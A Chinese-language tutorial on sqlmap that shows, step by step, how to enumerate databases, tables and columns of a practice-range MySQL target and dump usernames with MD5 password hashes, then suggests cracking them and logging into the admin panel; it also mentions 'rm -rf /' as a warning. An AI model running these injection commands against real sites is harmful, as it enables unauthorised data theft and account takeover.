sqlmap 使用笔记1

仅供学习参考

MySQL 数据库
实战靶场链接
sqlmap使用

先介绍本次使用的软件环境

1.PNG

图如果看不清的话可以看这里

..............                                     root@linux 
            ..,;:ccc,.                             ---------- 
          ......''';lxO.                           OS: Kali GNU/Linux Rolling x86_64 
.....''''..........,:ld;                           Model: VMware Virtual Platform None 
           .';;;:::;,,.x,                          Kernel: 4.19.0-kali4-amd64 
      ..'''.            0Xxoc:,.  ...              Uptime: 3 hours, 36 minutes 
  ....                ,ONkc;,;cokOdc',.            Packages: 2874 
 .                   OMo           ':ddo.          Shell: bash 5.0.3 
                    dMc               :OO;         Resolution: 1718x926 
                    0M.                 .:o.       DE: GNOME 
                    ;Wd                            WM: GNOME Shell 
                     ;XO,                          WM Theme: Kali-X 
                       ,d0Odlc;,..                 Theme: Kali-X [GTK2/3] 
                           ..',;:cdOOd::,.         Icons: Vibrancy-Kali [GTK2/3] 
                                    .:d;.':;.      Terminal: gnome-terminal 
                                       'd,  .'     CPU: Intel Xeon E3-1225 V2 (2) @ 3.1GHz 
                                         ;l   ..   GPU: VMware SVGA II Adapter 
                                          .o       Memory: 1126MB / 1971MB 
                                            c       
                                            .'    
                                             .      

root@linux:~# sqlmap
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.3.4#stable}
|_ -| . ["]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

Usage: python sqlmap [options]

sqlmap: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge or --dependencies). Use -h for basic and -hh for advanced help

我使用的虚拟机平台,不建议将kali直接作为自己的日用系统.
因为kali不像其他linux发行版.kali会直接以root用户登录并执行命令.
如果哪天自己下了个未知的脚本一执行或者脑子一热执行'rm -rf /' 的话后果不堪设想.

在命令行中打开sqlmap

直接输入并回车

sqlmap

先介绍一下常用的参数:

  1. '--flush-session' 清空缓存
sqlmap -u http://219.153.49.228:44466/new_list.php?id=1 --flush-session
  1. '-u' 使用注入连接
sqlmap -u http://219.153.49.228:44466/new_list.php?id=1
  1. '--dbs'列举出服务器全部数据库名
sqlmap -u http://219.153.49.228:44466/new_list.php?id=1 --dbs
  1. '-D' 选择数据库, '--tables'列举出所选择数据库的所有表
sqlmap -u http://219.153.49.228:44466/new_list.php?id=1 -D mozhe_Discuz_StormGroup --tables
  1. '-T' 选择表 '--columns' 列举出所选着表的字段信息
sqlmap -u http://219.153.49.228:44466/new_list.php?id=1 -D mozhe_Discuz_StormGroup -T StormGroup_member --columns
  1. '-C' 选择字段(字段之间逗号隔开,不能空格.) '--dump' 在命令行显示字段结果.
sqlmap -u http://219.153.49.228:44466/new_list.php?id=1 -D mozhe_Discuz_StormGroup -T StormGroup_member -C name,password --dump

选择注入点:

我这里靶场的注入点为

http://219.153.49.228:44466/new_list.php?id=1

因此,在控制台输入

sqlmap -u http://219.153.49.228:44466/new_list.php?id=1

'-u' 选择注入地址

出现以下信息:

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

2.PNG
这是在问你这像是MySQL的数据库,是否继续测试其他数据库.说人话就是选Y它跑久些,成功率高些.(主要还是看情况)
这里节约时间选N.

然后

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]

3.PNG

问你是否进行其他测试,选Y,回车

接下来:

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

4.PNG
找到一个易受到攻击的地方,是否还要继续找?节约时间选N

然后出现以下信息:
5.PNG

从图中可以得到以下信息:

信息结果
数据库类型及版本MySQL >=5.0.12
网页服务器类型及版本Nginx 1.10.3
服务器系统Linux Ubuntu

到这里我们可以得知这个连接可以注入.
如果得到的不是像上图所示,可以在注入选着的时候碰碰运气.

获取服务器中的库

这里使用'--dbs'参数
命令行:

sqlmap -u http://219.153.49.228:44466/new_list.php?id=1 --dbs

6.PNG
得到MySQL服务器中有以下库:

库名
information_schema
mozhe_Discuz_StormGroup
mysql
performance_schema
sys

获取库中的表

我们这次的目标库是'mozhe_Discuz_StormGroup',因此用到'-D'以及'--tables'参数
命令行:

sqlmap -u http://219.153.49.228:44466/new_list.php?id=1 -D mozhe_Discuz_StormGroup --tables

7.PNG

'-D' 先选着数据库, 然后 '--tables' 列出所选数据库的表名

得到以下信息:

库名表名
mozhe_Discuz_StormGroupStormGroup_member
mozhe_Discuz_StormGroupnotice

可以看到库中只有两张表,我们先查看第一张表的信息

查看表字段信息

先看StormGroup_member表的字段信息先.
命令行:

sqlmap -u http://219.153.49.228:44466/new_list.php?id=1 -D mozhe_Discuz_StormGroup -T StormGroup_member --columns

8.PNG

'-D' 选数据库,接着 '-T' 选表,最后 '--columns' 列出表字段信息.

得到:

字段名数据类型
StormGroup_memberidint(11)
StormGroup_membernamevarchar(20)
StormGroup_memberpasswordvarchar(255)
StormGroup_memberstatusint(11)

查看字段内信息:

我们这次需要看看name,password和status字段信息.
命令行:

sqlmap -u http://219.153.49.228:44466/new_list.php?id=1 -D mozhe_Discuz_StormGroup -T StormGroup_member -C name,password,status --dump

首先出现:

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]

9.PNG
因为password字段是使用md5加密,所以问你是否要将md5文件放到临时文件中让别的程序解密,这里我们需要它显示md5值,所以选N

接着

do you want to crack them via a dictionary-based attack? [Y/n/q]

10.PNG
问你是否要用字典来破解md5,因为它的字典不强大,所以我们不需要,选N

11.PNG

'-C' 选择字段,字段之间用','隔开,不能空格. --dump 显示结果(貌似不止)

最后得到以下信息:

namepasswordstatus
mozhe356f589a7df439f6f744ff19bb8092c00
mozhe9dccf1e08d5638026f5f5a4f01109f8e0

现在就得到用户名和密码的哈希值了,如果我们需要密码的明文,就到专门解密md5的网站上去解密
得到密码,登录后台,收工.
相比于手工注入,使用工具可以更加快捷,当然成功率也是看缘分的.